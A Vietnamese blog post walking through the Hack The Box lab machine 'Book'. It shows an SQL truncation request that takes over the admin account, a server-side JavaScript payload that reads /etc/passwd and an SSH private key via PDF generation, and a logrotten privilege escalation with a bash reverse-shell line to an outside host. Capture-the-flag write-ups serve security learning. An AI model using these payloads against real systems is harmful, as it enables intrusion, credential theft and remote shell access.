[Hackthebox- Writeup] Book
Bài đăng này đã không được cập nhật trong 4 năm
Mở đầu
Trở lại với series Writeup Hackthebox, ngày hôm qua Hackthebox đã cho retired bài Book này, được đánh giá là Medium. Bài này được mình làm từ 24/03 nhưng đến giờ mới được public. Hãy cùng mình tìm hiểu xem bài này chơi thế nào nha.
Get User
Quét nmap thấy server này có trang web tại cổng 80.
Thực hiện đăng ký thì vào ổn k có vấn đề gì, thực hiện đăng ký theo mail admin@book.htb
thì báo tài khoản này đã tồn tại.
Nhớ đến bài postbook ngày xưa thì đăng ký được theo đúng email của admin thì đăng nhập lại sẽ lên được admin
POST /index.php HTTP/1.1
Host: 10.10.10.176
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.176/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Connection: close
Cookie: PHPSESSID=ace5kg7uekbf6mo1bjjcb3iq6h
Upgrade-Insecure-Requests: 1
name=admin&email=admin%40book.htb 11&password=admin@123
Ở đây được gọi là tấn công SQL truncation. Cắt ngắn chuỗi SQL để bypass check name.
Đăng ký được tài khoản admin thì ngó xung quanh xem có chức năng gì.
Có 1 chức năng là Collection, giúp đăng sách lên, và admin có 1 chức năng là xem 1 danh sách Collection đó.
Và đây là nội dung của Collections
Ở đây, trong trang web có 1 chức năng là lấy tên sách và tác giả ghi vào file PDF bằng JS ở phía Server, qua đây có thể sử dụng JS để ghi file local vào trong file PDF để có thể đọc
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
Điền tên sách với payload trên và thu kết quả
Đọc được file /etc/passwd
, chúng ta có thể đọc file key rsa để có thể ssh đến server, ở đây có người dùng reader
, có thể đoán thư mục key rsa là
/home/reader/.ssh/id_rsa
Lấy được file private key, có thể sử dụng để ssh đến server
Do file PDF k hiển thị đầy đủ private key, ở đây sử dụng công cụ để convert pdf sang text để lấy hết text từ file pdf https://github.com/pdfminer/pdfminer.six/
Lấy được privatekey rồi thì có thể ssh đến server
Lấy cờ User
Get Root
Chạy pspy64
để xem các tiến trình đang chạy trên server thì thấy
Root đang chạy chương trình logrotate
để ghi vào log, tìm kiếm trên google xem chương trình này có exploit như nào thì có chương trình tại đây
https://github.com/whotwagner/logrotten
Compile gcc chương trình logrotten
rồi đẩy lên trên box, đọc hướng dẫn ở trang github thì tạo 1 file payload lưu vào payloadfile
reader@book:/tmp$ echo “bash -i >& /dev/tcp/10.10.14.5/4444 0>&1” > payloadfile
Sau đó chạy chương trình và ghi vào file access.log
thấy ở thư mục backups
của user
reader@book:/tmp$ ./logrotten -p ./payloadfile ~/backups/access.log -d
logfile: /home/reader/backups/access.log
logpath: /home/reader/backups
logpath2: /home/reader/backups2
targetpath: /etc/bash_completion.d/access.log
targetdir: /etc/bash_completion.d
p: access.log
Waiting for rotating /home/reader/backups/access.log...
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d
Waiting 1 seconds before writing payload...
Done!
Mở thêm 1 terminal nữa để ghi vào file access.log
reader@book:~$ echo '1' > backups/access.log
Lần này chúng ta chỉ có 5s để đọc cờ, sau đó là bị đóng kết nối, tại máy lắng nghe cổng 4444, sau khi lên root rồi đọc cờ ngay :v
Kết
Một bài mà có khá nhiều kỹ thuật trong này, hi vọng mọi người có thể học được gì từ nó. Happy hacking!
All rights reserved